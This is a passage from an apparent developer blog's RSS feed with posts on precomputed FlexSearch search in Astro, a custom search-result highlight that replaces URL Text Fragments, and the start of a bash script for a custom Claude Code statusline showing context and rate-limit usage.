    .then((items: SearchItem[]) =&amp;gt; {
      setData(items);
      items.forEach((item) =&amp;gt; index.add(item));
      setIsLoading(false);
    })
    .catch(() =&amp;gt; setIsLoading(false));
}, [isOpen, data, locale, index]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result: zero search-related JS or data on first paint of any page. Nothing happens until the user actually presses &lt;code&gt;Cmd+K&lt;/code&gt;. Indexing 35 posts in a &lt;code&gt;Document&lt;/code&gt; index is well under 100ms on a normal laptop, so the loading state barely flashes.&lt;/p&gt;
&lt;p&gt;Then the actual search:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const raw = index.search(query, 12, { enrich: true });
const seen = new Map&amp;lt;string, SearchItem&amp;gt;();
(raw as any[]).forEach((fieldResult) =&amp;gt; {
  fieldResult.result.forEach((hit: any) =&amp;gt; {
    const id = String(hit.id);
    seen.set(id, { id, ...(hit.doc as Omit&amp;lt;SearchItem, &quot;id&quot;&amp;gt;) });
  });
});
setResults(Array.from(seen.values()));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;enrich: true&lt;/code&gt; makes FlexSearch return the stored document fields alongside the id. The &lt;code&gt;Map&lt;/code&gt; dedupes in case the same item appears in multiple field results (still possible if you ever expand the index later).&lt;/p&gt;
&lt;h2&gt;UX sugar: pill-highlight category and tag matches&lt;/h2&gt;
&lt;p&gt;Plain text snippets work, but a query like &quot;electronics&quot; or &quot;arduino&quot; deserves a stronger visual cue when it matches a category or a tag exactly. So the result row checks for that and renders a colored pill:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function findMatches(values: string[] | undefined, query: string): string[] {
  if (!values?.length || !query.trim()) return [];
  const tokens = query.toLowerCase().split(/\s+/).filter(Boolean);
  return values.filter((v) =&amp;gt; {
    const lower = v.toLowerCase();
    return tokens.some((t) =&amp;gt; lower.includes(t));
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the row component, categories get the primary brand color with a small dot, and tags fall back to a neutral pill. It&apos;s a tiny detail, and exactly the kind of thing that makes the difference between a search box that feels &quot;okay&quot; and one that feels considered.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const matchedCategories = findMatches(item.categories, query);
const matchedTags =
  matchedCategories.length === 0 ? findMatches(item.tags, query) : [];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If categories matched, skip showing tag pills. Two separate pill styles in the same row read as visual noise.&lt;/p&gt;
&lt;h2&gt;The body snippet trick&lt;/h2&gt;
&lt;p&gt;The other small touch: when a query matches text inside the post body, surface a snippet around the match.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const SNIPPET_RADIUS = 70;

function buildSnippet(body: string | undefined, query: string): string | null {
  if (!body || !query) return null;
  const q = query.trim().toLowerCase();
  const lower = body.toLowerCase();
  const tokens = q.split(/\s+/).filter(Boolean);
  let pos = -1;
  for (const t of tokens) {
    const idx = lower.indexOf(t);
    if (idx !== -1) {
      pos = idx;
      break;
    }
  }
  if (pos === -1) return null;
  const start = Math.max(0, pos - SNIPPET_RADIUS);
  const end = Math.min(body.length, pos + SNIPPET_RADIUS);
  const prefix = start &amp;gt; 0 ? &quot;…&quot; : &quot;&quot;;
  const suffix = end &amp;lt; body.length ? &quot;…&quot; : &quot;&quot;;
  return `${prefix}${body.slice(start, end).trim()}${suffix}`;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result row then prefers the snippet over the description when the body matched the query, so the user sees &lt;em&gt;why&lt;/em&gt; this post showed up. This is the difference between &quot;search returned 12 results&quot; and &quot;search returned 12 results, and I can already see which one I want.&quot;&lt;/p&gt;
&lt;h2&gt;When this approach doesn&apos;t fit&lt;/h2&gt;
&lt;p&gt;I&apos;d skip the precomputed JSON if any of these are true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Truly massive content sets&lt;/strong&gt;: if your blog has thousands of posts with full body text, the JSON file gets too big to ship as a single asset. At that point, look at &lt;a href=&quot;https://pagefind.app/&quot;&gt;Pagefind&lt;/a&gt;, which shards the index and fetches only what each query needs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authenticated content&lt;/strong&gt;: if some posts are gated, you can&apos;t ship them in a static index. Either filter at build time (only public content gets indexed) or move to a server-side endpoint with auth.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stale-while-revalidate concerns&lt;/strong&gt;: deploys are a clean refresh, but if you publish hourly and want indexing to keep up, you need an incremental rebuild story or a runtime endpoint.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a typical Astro blog (tens to low hundreds of posts, all public, refreshed on deploy), precomputing the index and indexing it once in the browser gives you near-instant search with no infrastructure. Same family of tradeoffs as &lt;a href=&quot;/blog/sqlite-in-browser-with-opfs-and-web-workers&quot;&gt;running SQLite in the browser&lt;/a&gt;: push the work to the client, lean on static delivery, skip the server.&lt;/p&gt;
&lt;h2&gt;Extending the FlexSearch index: workers, telemetry, recents&lt;/h2&gt;
&lt;p&gt;I haven&apos;t bothered with any of these on didof.dev yet, but they&apos;re the obvious next moves. Building the FlexSearch index in a Web Worker would push the ~100ms indexing cost off the main thread on first open. Persisting recent queries to &lt;code&gt;localStorage&lt;/code&gt; and surfacing them in the empty state is a 30-line patch. Logging which results actually get clicked, and which don&apos;t, gives you tuning signal almost immediately.&lt;/p&gt;
&lt;p&gt;The base implementation is small enough (one endpoint, one React island, a few hundred lines total) that all of these stay one-day tasks rather than month-long migrations. Which is the whole point of preferring small, owned components over a hosted search service for a personal blog.&lt;/p&gt;
&lt;p&gt;The two files that carry the weight are &lt;code&gt;src/pages/api/search.json.ts&lt;/code&gt; (build-time index emitter) and &lt;code&gt;src/components/shell/SiteSearch.tsx&lt;/code&gt; (the React island). Everything in this post is enough to rebuild both from scratch in an afternoon.&lt;/p&gt;
</content:encoded></item><item><title>Astro Deep-Link Highlight: Search Results That Jump to the Word</title><link>https://didof.dev/blog/astro-search-deep-link-highlight/</link><guid isPermaLink="true">https://didof.dev/blog/astro-search-deep-link-highlight/</guid><description>Astro deep-link highlight in ~75 lines: click a search result, land on the exact word with a yellow flash. Why URL Text Fragments lost the fight with ClientRouter.</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: Astro deep-link highlight in about 75 lines. Outbound: append &lt;code&gt;?_h=&amp;lt;token&amp;gt;&lt;/code&gt; to the destination URL when navigating from the search palette. Inbound: a tiny &lt;code&gt;astro:page-load&lt;/code&gt; script walks the article, wraps the first match in a &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt;, scrolls to it, and &lt;code&gt;replaceState&lt;/code&gt;s the &lt;code&gt;_h&lt;/code&gt; away. CSS keyframe flashes highlighter yellow then fades to invisible.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Yesterday&apos;s &lt;a href=&quot;/blog/astro-offline-precomputed-flexsearch&quot;&gt;Astro + FlexSearch palette&lt;/a&gt; does the heavy lifting: type, get matches, see a snippet around the hit. Fine. But the next move is obvious: when I click a result, the post should open scrolled to the actual matched word, with that word highlighted, so I can see &lt;em&gt;why&lt;/em&gt; this post showed up.&lt;/p&gt;
&lt;p&gt;The web has a built-in primitive for exactly this. It&apos;s called URL Text Fragments. It looks like a two-line patch.&lt;/p&gt;
&lt;p&gt;Reader, it was not a two-line patch.&lt;/p&gt;
&lt;h2&gt;The plan that didn&apos;t work&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wicg.github.io/scroll-to-text-fragment/&quot;&gt;URL Text Fragments&lt;/a&gt; (the W3C spec, shipped in Chrome 80+, Safari 16.1+, Firefox 131+) let you point a URL at a piece of text on the destination page:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://didof.dev/blog/foo#:~:text=arduino
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The browser does a substring search on the rendered DOM, scrolls the match into view, and applies the &lt;code&gt;::target-text&lt;/code&gt; pseudo-element so you can style the highlight. Native, no JS, free.&lt;/p&gt;
&lt;p&gt;So the plan was simple. In the search palette&apos;s navigate handler:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;window.location.href = `${url}#:~:text=${encodeURIComponent(token)}`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add a CSS rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;::target-text {
  background: color-mix(in oklch, var(--primary) 22%, transparent);
  color: var(--primary);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two lines. Ship it.&lt;/p&gt;
&lt;p&gt;What I got: when I clicked a search result, the URL bar showed &lt;code&gt;?...#:~:text=arduino&lt;/code&gt; for one frame, then the fragment vanished. No scroll. No highlight. The page did navigate to the right post. Just nothing else.&lt;/p&gt;
&lt;h2&gt;What was actually happening&lt;/h2&gt;
&lt;p&gt;The site has &lt;code&gt;&amp;lt;ClientRouter /&amp;gt;&lt;/code&gt; in the layout for view transitions, which is great for the cross-page UX but turns out to be doing something specific here.&lt;/p&gt;
&lt;p&gt;In Chromium, &lt;code&gt;&amp;lt;ClientRouter /&amp;gt;&lt;/code&gt; uses the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Navigation_API&quot;&gt;Navigation API&lt;/a&gt; to intercept most same-origin navigations, including programmatic &lt;code&gt;location.href&lt;/code&gt; writes in the cases that actually matter for a search palette. When it intercepts, it does a soft transition: it &lt;code&gt;pushState&lt;/code&gt;s the new URL and swaps the page content without a real cross-document load.&lt;/p&gt;
&lt;p&gt;Browsers only run text-fragment activation on cross-document navigations. They do not run it on &lt;code&gt;pushState&lt;/code&gt;. So the sequence was:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I write a URL with &lt;code&gt;#:~:text=arduino&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;ClientRouter intercepts the navigation, does a soft transition.&lt;/li&gt;
&lt;li&gt;The router writes the new URL to history. By the time it hits history, the fragment is stripped (since it never got processed).&lt;/li&gt;
&lt;li&gt;The browser&apos;s text-fragment scroll-and-highlight pipeline never fires, because no cross-document load happened.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The half-blink of the fragment in the URL bar was the brief moment between my assignment and the router taking over.&lt;/p&gt;
&lt;h2&gt;The escape hatch that should have worked&lt;/h2&gt;
&lt;p&gt;Astro documents an opt-out: &lt;code&gt;data-astro-reload&lt;/code&gt; on an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element forces a real navigation. The repo already uses it for external links in &lt;code&gt;mdx-link.astro&lt;/code&gt;, so it&apos;s the established pattern. The natural fix is to synthesize a hidden anchor with that attribute and click it programmatically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const a = document.createElement(&quot;a&quot;);
a.href = finalUrl;
a.setAttribute(&quot;data-astro-reload&quot;, &quot;&quot;);
a.style.display = &quot;none&quot;;
document.body.appendChild(a);
a.click();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tried it. Same result. The fragment still got stripped, no scroll, no highlight.&lt;/p&gt;
&lt;p&gt;I&apos;m not entirely sure why this didn&apos;t work in my exact setup. The candidate causes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The dialog wrapping the search palette unmounts on &lt;code&gt;setIsOpen(false)&lt;/code&gt; and the synthesized anchor was being created during teardown.&lt;/li&gt;
&lt;li&gt;Chromium&apos;s text-fragment activation has user-activation requirements that programmatic clicks can fail when the gesture is consumed elsewhere.&lt;/li&gt;
&lt;li&gt;The Navigation API still gets first refusal on programmatic clicks in some Chromium versions, attribute or not.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I spent a while trying to make this work with various delays, &lt;code&gt;requestAnimationFrame&lt;/code&gt; wrappers, and dispatched &lt;code&gt;MouseEvent&lt;/code&gt;s. None of it was reliable. At some point you stop fighting the platform and just write the thing yourself.&lt;/p&gt;
&lt;h2&gt;How the Astro deep-link highlight actually works&lt;/h2&gt;
&lt;p&gt;Two pieces.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Outbound, in the search palette&lt;/strong&gt;: instead of a fragment, append a query parameter the destination page will read.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function withSearchHighlight(url: string, query: string): string {
  const trimmed = query.trim();
  if (!trimmed) return url;
  const first = trimmed.split(/\s+/)[0];
  if (!first) return url;
  const [pathAndQuery, hash] = url.split(&quot;#&quot;);
  const sep = pathAndQuery.includes(&quot;?&quot;) ? &quot;&amp;amp;&quot; : &quot;?&quot;;
  const withParam = `${pathAndQuery}${sep}_h=${encodeURIComponent(first)}`;
  return hash ? `${withParam}#${hash}` : withParam;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Query params survive the soft transition. ClientRouter doesn&apos;t strip them. The destination page sees &lt;code&gt;?_h=arduino&lt;/code&gt; cleanly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Inbound, in the layout&lt;/strong&gt;: a small &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block at the bottom of &lt;code&gt;main.astro&lt;/code&gt; that listens for &lt;code&gt;astro:page-load&lt;/code&gt;, finds the first matching text node in the article, wraps it in a &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt;, and scrolls to it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/view-transitions/#astropage-load&quot;&gt;&lt;code&gt;astro:page-load&lt;/code&gt;&lt;/a&gt; is Astro&apos;s &quot;page is ready&quot; event. It fires on the initial hard load &lt;em&gt;and&lt;/em&gt; on every subsequent view-transition swap. So one listener handles both fresh visits and palette-driven jumps from one post to another.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function applySearchHighlight() {
  const url = new URL(window.location.href);
  const token = url.searchParams.get(&quot;_h&quot;);
  if (!token) return;

  const root =
    document.querySelector(&quot;article.prose&quot;) ||
    document.querySelector(&quot;article&quot;) ||
    document.querySelector(&quot;main&quot;) ||
    document.body;
  if (!root) return;

  const needle = token.toLowerCase();

  const walker = document.createTreeWalker(root, NodeFilter.SHOW_TEXT, {
    acceptNode(node) {
      const parent = (node as Text).parentElement;
      if (!parent) return NodeFilter.FILTER_REJECT;
      const tag = parent.tagName;
      if (tag === &quot;SCRIPT&quot; || tag === &quot;STYLE&quot; || tag === &quot;NOSCRIPT&quot;) {
        return NodeFilter.FILTER_REJECT;
      }
      const value = (node as Text).nodeValue;
      return value &amp;amp;&amp;amp; value.toLowerCase().includes(needle)
        ? NodeFilter.FILTER_ACCEPT
        : NodeFilter.FILTER_REJECT;
    },
  });

  const node = walker.nextNode() as Text | null;
  if (!node) return cleanUrl(url);

  // The full splitting + wrapping + scroll logic is shown in the next snippet.
}

document.addEventListener(&quot;astro:page-load&quot;, applySearchHighlight);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few things worth pointing out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/TreeWalker&quot;&gt;&lt;code&gt;TreeWalker&lt;/code&gt;&lt;/a&gt; is the right tool for this. It walks text nodes specifically, lets me filter at the node level, and skips entire subtrees when I return &lt;code&gt;FILTER_REJECT&lt;/code&gt;. No flat string of &lt;code&gt;innerText&lt;/code&gt; to do an &lt;code&gt;indexOf&lt;/code&gt; against, which would lose all the position information.&lt;/li&gt;
&lt;li&gt;Skipping &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;noscript&amp;gt;&lt;/code&gt; matters. Otherwise a token like &quot;function&quot; matches inside a code block and now I&apos;m highlighting in the middle of a &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The fallback chain (&lt;code&gt;article.prose&lt;/code&gt; → &lt;code&gt;article&lt;/code&gt; → &lt;code&gt;main&lt;/code&gt; → &lt;code&gt;body&lt;/code&gt;) is paranoid. &lt;code&gt;article.prose&lt;/code&gt; is what the blog template renders, but the script lives in &lt;code&gt;main.astro&lt;/code&gt; and runs everywhere, so I want it to gracefully no-op on non-article pages.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The actual splitting and wrapping is straightforward DOM:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const text = node.nodeValue || &quot;&quot;;
const idx = text.toLowerCase().indexOf(needle);
const before = text.slice(0, idx);
const match = text.slice(idx, idx + token.length);
const after = text.slice(idx + token.length);

const mark = document.createElement(&quot;mark&quot;);
mark.className = &quot;search-target&quot;;
mark.textContent = match;

const parent = node.parentNode!;
if (before) parent.insertBefore(document.createTextNode(before), node);
parent.insertBefore(mark, node);
if (after) parent.insertBefore(document.createTextNode(after), node);
parent.removeChild(node);

requestAnimationFrame(() =&amp;gt; {
  mark.scrollIntoView({ behavior: &quot;smooth&quot;, block: &quot;center&quot; });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;requestAnimationFrame&lt;/code&gt; matters. After a view-transition swap the layout has not fully settled when &lt;code&gt;astro:page-load&lt;/code&gt; fires. Scrolling immediately can land at the wrong position. One frame later, the new DOM is laid out and the scroll lands accurately.&lt;/p&gt;
&lt;p&gt;After the highlight is in place, I rewrite the URL with &lt;code&gt;replaceState&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function cleanUrl(url: URL) {
  url.searchParams.delete(&quot;_h&quot;);
  const clean =
    url.pathname +
    (url.search ? url.search : &quot;&quot;) +
    (url.hash ? url.hash : &quot;&quot;);
  history.replaceState(history.state, &quot;&quot;, clean);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So if a reader copies the URL out of the address bar to share, the &lt;code&gt;_h&lt;/code&gt; param doesn&apos;t tag along. The history entry is also clean: hitting back doesn&apos;t replay the highlight.&lt;/p&gt;
&lt;h2&gt;The flash animation&lt;/h2&gt;
&lt;p&gt;The original ask from a user was &quot;have it flash yellow and go back to normal after a few seconds.&quot; Two principles for the keyframe:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;No layout shift while the animation runs&lt;/strong&gt;. Animating padding would push the surrounding text around mid-flash. Bad. The &quot;puffed up&quot; look comes from &lt;code&gt;box-shadow&lt;/code&gt; instead, which doesn&apos;t affect layout.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;End state is invisible&lt;/strong&gt;. Browser default &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt; is highlighter yellow. If the keyframe ends and the rule resets, the mark goes back to that default and the prose looks weird forever. So the resting style is &lt;code&gt;background: transparent; color: inherit;&lt;/code&gt; and &lt;code&gt;animation-fill-mode: forwards&lt;/code&gt; keeps the end state locked.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;.search-target {
  background: transparent;
  color: inherit;
  border-radius: 3px;
  animation: search-target-flash 2.6s ease-out 1 forwards;
}

@keyframes search-target-flash {
  0%,
  18% {
    background: oklch(0.94 0.18 95);
    color: oklch(0.22 0.04 80);
    box-shadow: 0 0 0 3px oklch(0.94 0.18 95 / 0.5);
  }
  100% {
    background: transparent;
    color: inherit;
    box-shadow: 0 0 0 0 transparent;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yellow flash for the first ~470ms (0-18% of 2.6s), then a 2.1s fade back to invisible. The eye lands on the spot, then the prose reads normally a moment later.&lt;/p&gt;
&lt;h2&gt;Why this is actually nicer than text fragments&lt;/h2&gt;
&lt;p&gt;I went into this annoyed at the platform and came out preferring the custom version, which is not the usual story.&lt;/p&gt;
&lt;p&gt;A few wins I would have given up if text fragments had worked:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Animation control&lt;/strong&gt;. &lt;code&gt;::target-text&lt;/code&gt; is a static style; you can&apos;t run a keyframe on it because it&apos;s a pseudo-element scoped to the browser&apos;s text fragment activation, not a real DOM node. With a real &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt;, I can flash, fade, pulse, whatever.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scroll behavior&lt;/strong&gt;. Browsers scroll text fragments to the top of the viewport by default. I prefer &lt;code&gt;block: &apos;center&apos;&lt;/code&gt;. Mine, my call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Works the same in soft and hard navigation&lt;/strong&gt;. Click a search result, hit back, click another search result: the highlight fires every time because &lt;code&gt;astro:page-load&lt;/code&gt; fires every time. Text fragments would have only worked on the first hard load.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clean shareable URLs&lt;/strong&gt;. After the highlight, &lt;code&gt;_h&lt;/code&gt; is gone. With text fragments the URL strips itself too, but the timing is browser-controlled and finicky.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The sum total of the custom path is &lt;code&gt;withSearchHighlight()&lt;/code&gt; (about 10 lines), the layout script (about 50 lines including the URL-clean helper), and the keyframe (about 15 lines of CSS). Roughly 75 lines of mine, full control. Beats the platform&apos;s two-line version that didn&apos;t actually work.&lt;/p&gt;
&lt;h2&gt;When you&apos;d still reach for text fragments&lt;/h2&gt;
&lt;p&gt;If you don&apos;t have view transitions enabled and you want the cheapest possible &quot;scroll to a phrase from an external link&quot; feature: text fragments, full stop. They&apos;re a one-line URL change and zero runtime code. Search engines also surface them directly in some cases, which is a real SEO + AI Overview perk you can&apos;t replicate with a custom param.&lt;/p&gt;
&lt;p&gt;The conflict in this post is specific to the Astro &lt;code&gt;&amp;lt;ClientRouter /&amp;gt;&lt;/code&gt; plus Navigation API combination. If your site is plain MPA with no router intercepting navigations, text fragments will Just Work.&lt;/p&gt;
&lt;h2&gt;Try it&lt;/h2&gt;
&lt;p&gt;Open the search palette on this site, type a word that you know appears deep in some other post, hit Enter. Watch for the yellow flash. The URL ends up clean a beat later.&lt;/p&gt;
&lt;p&gt;If you&apos;re building something similar and want the source, the three files in play are &lt;code&gt;src/components/shell/SiteSearch.tsx&lt;/code&gt;, &lt;code&gt;src/layouts/main.astro&lt;/code&gt;, and &lt;code&gt;src/styles/global.css&lt;/code&gt;. Same family of &quot;let the client do the heavy lifting&quot; thinking as &lt;a href=&quot;/blog/sqlite-in-browser-with-opfs-and-web-workers&quot;&gt;running SQLite in the browser&lt;/a&gt;: when the platform doesn&apos;t quite let you have what you want, sometimes the right move is to do it yourself in 75 lines.&lt;/p&gt;
</content:encoded></item><item><title>Build a Custom Claude Code Statusline (with Rate Limits and a Bell on Done)</title><link>https://didof.dev/blog/claude-code-custom-statusline/</link><guid isPermaLink="true">https://didof.dev/blog/claude-code-custom-statusline/</guid><description>The default Claude Code statusline shows the model and the cwd. I wanted seven fields and a terminal bell on every render. Here&apos;s the bash script, the settings.json wiring, and the JSON payload Claude Code pipes into the script.</description><pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The default Claude Code statusline is honest but thin: model name, working directory, that&apos;s about it. After a few long sessions I wanted more from it. How much of the context window have I burned? Am I close to the 5-hour rate limit? Has the agent finished and I missed it because I was in another tab?&lt;/p&gt;
&lt;p&gt;Claude Code lets you replace the statusline with any shell command. It pipes a JSON blob to stdin on every render and prints whatever your script writes to stdout. So the upgrade is just bash and &lt;code&gt;jq&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is the seven-field bar I ended up with, the script behind it, and the wiring in &lt;code&gt;~/.claude/settings.json&lt;/code&gt;. Setup is about three minutes if you have &lt;code&gt;jq&lt;/code&gt; installed.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The statusline is a shell command Claude Code re-runs on every UI render. It receives a JSON payload on stdin.&lt;/li&gt;
&lt;li&gt;The payload exposes the model, context-window percentage, cwd, transcript path, and the 5h + 7d rate-limit windows.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;jq&lt;/code&gt; parses every field in one line. ANSI escapes color the output. No dependencies beyond bash, &lt;code&gt;jq&lt;/code&gt;, and &lt;code&gt;git&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For an &quot;answer is ready&quot; bell, use a &lt;code&gt;Stop&lt;/code&gt; hook in &lt;code&gt;settings.json&lt;/code&gt;, not the statusline. Claude Code renders the statusline inside its TUI so a &lt;code&gt;\a&lt;/code&gt; from there gets eaten before it reaches the terminal. The &lt;code&gt;Stop&lt;/code&gt; hook runs in a real shell and fires once per turn.&lt;/li&gt;
&lt;li&gt;Wiring is two lines in &lt;code&gt;~/.claude/settings.json&lt;/code&gt; under the &lt;code&gt;statusLine&lt;/code&gt; key.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What Claude Code gives you&lt;/h2&gt;
&lt;p&gt;When the statusline command runs, Claude Code hands it a JSON object on stdin. The shape (as of May 2026) looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;model&quot;: { &quot;display_name&quot;: &quot;Claude Opus 4.7 (1M context)&quot; },
  &quot;context_window&quot;: { &quot;used_percentage&quot;: 22.4 },
  &quot;cwd&quot;: &quot;/Users/me/Workspace/foo&quot;,
  &quot;workspace&quot;: { &quot;current_dir&quot;: &quot;/Users/me/Workspace/foo&quot; },
  &quot;transcript_path&quot;: &quot;/Users/me/.claude/projects/.../session.jsonl&quot;,
  &quot;rate_limits&quot;: {
    &quot;five_hour&quot;: { &quot;used_percentage&quot;: 34, &quot;resets_at&quot;: 1746540000 },
    &quot;seven_day&quot;: { &quot;used_percentage&quot;: 12, &quot;resets_at&quot;: 1746799200 }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The rate-limit fields are the interesting bit. They don&apos;t exist for every render. Right after a fresh &lt;code&gt;/clear&lt;/code&gt; you won&apos;t see them until the first API response of the new session. The script has to tolerate their absence. Same for context: an empty field in the early frames.&lt;/p&gt;
&lt;p&gt;You can inspect the payload yourself by setting the statusline to &lt;code&gt;cat | jq .&lt;/code&gt; for one render, then switching back. Or just trust the script below.&lt;/p&gt;
&lt;h2&gt;The script&lt;/h2&gt;
&lt;p&gt;I keep mine at &lt;code&gt;~/.claude/statusline-command.sh&lt;/code&gt;. It does seven things, in order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Model display name.&lt;/li&gt;
&lt;li&gt;A 20-block context-usage bar with a percentage.&lt;/li&gt;
&lt;li&gt;Git branch of the current workspace.&lt;/li&gt;
&lt;li&gt;Session length, derived from the transcript file&apos;s birth time.&lt;/li&gt;
&lt;li&gt;Folder name (basename of cwd).&lt;/li&gt;
&lt;li&gt;5-hour rate-limit usage with a &quot;resets in &lt;code&gt;2h15m&lt;/code&gt;&quot; countdown.&lt;/li&gt;
&lt;li&gt;7-day rate-limit usage with the same countdown.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash
# Claude Code status line script

input=$(cat)

# 1. Model
model=$(echo &quot;$input&quot; | jq -r &apos;.model.display_name // &quot;Unknown model&quot;&apos;)

# 2. Context bar
used_pct=$(echo &quot;$input&quot; | jq -r &apos;.context_window.used_percentage // empty&apos;)
if [ -n &quot;$used_pct&quot; ]; then
  filled=$(echo &quot;$used_pct&quot; | awk &apos;{printf &quot;%d&quot;, ($1 / 100) * 20}&apos;)
  empty=$((20 - filled))
  bar_filled=&quot;&quot;
  bar_empty=&quot;&quot;
  for i in $(seq 1 $filled); do bar_filled=&quot;${bar_filled}█&quot;; done
  for i in $(seq 1 $empty);  do bar_empty=&quot;${bar_empty}░&quot;;  done
  ctx_display=&quot;${bar_filled}${bar_empty} $(printf &apos;%.0f&apos; &quot;$used_pct&quot;)%&quot;
else
  ctx_display=&quot;░░░░░░░░░░░░░░░░░░░░ --%&quot;
fi

# 3. Git branch (read from cwd, no-optional-locks so we don&apos;t fight an
# ongoing git operation in the same repo)
cwd=$(echo &quot;$input&quot; | jq -r &apos;.cwd // .workspace.current_dir // &quot;&quot;&apos;)
git_branch=&quot;&quot;
[ -n &quot;$cwd&quot; ] &amp;amp;&amp;amp; git_branch=$(git -C &quot;$cwd&quot; --no-optional-locks symbolic-ref --short HEAD 2&amp;gt;/dev/null)
[ -z &quot;$git_branch&quot; ] &amp;amp;&amp;amp; git_branch=&quot;no-git&quot;

# 4 &amp;amp; 5. Rate limits
five_pct=$(echo  &quot;$input&quot; | jq -r &apos;.rate_limits.five_hour.used_percentage  // empty&apos;)
five_reset=$(echo &quot;$input&quot; | jq -r &apos;.rate_limits.five_hour.resets_at       // empty&apos;)
week_pct=$(echo  &quot;$input&quot; | jq -r &apos;.rate_limits.seven_day.used_percentage  // empty&apos;)
week_reset=$(echo &quot;$input&quot; | jq -r &apos;.rate_limits.seven_day.resets_at       // empty&apos;)

format_ttl() {
  local reset_epoch=&quot;$1&quot;
  [ -z &quot;$reset_epoch&quot; ] &amp;amp;&amp;amp; { echo &quot;&quot;; return; }
  local now diff
  now=$(date +%s)
  diff=$(( reset_epoch - now ))
  if [ &quot;$diff&quot; -le 0 ]; then
    echo &quot;now&quot;
  else
    printf &apos;%dh%02dm&apos; &quot;$(( diff / 3600 ))&quot; &quot;$(( (diff % 3600) / 60 ))&quot;
  fi
}

five_display=&quot;&quot;
if [ -n &quot;$five_pct&quot; ]; then
  ttl=$(format_ttl &quot;$five_reset&quot;)
  five_display=&quot;5h: $(printf &apos;%.0f&apos; &quot;$five_pct&quot;)%&quot;
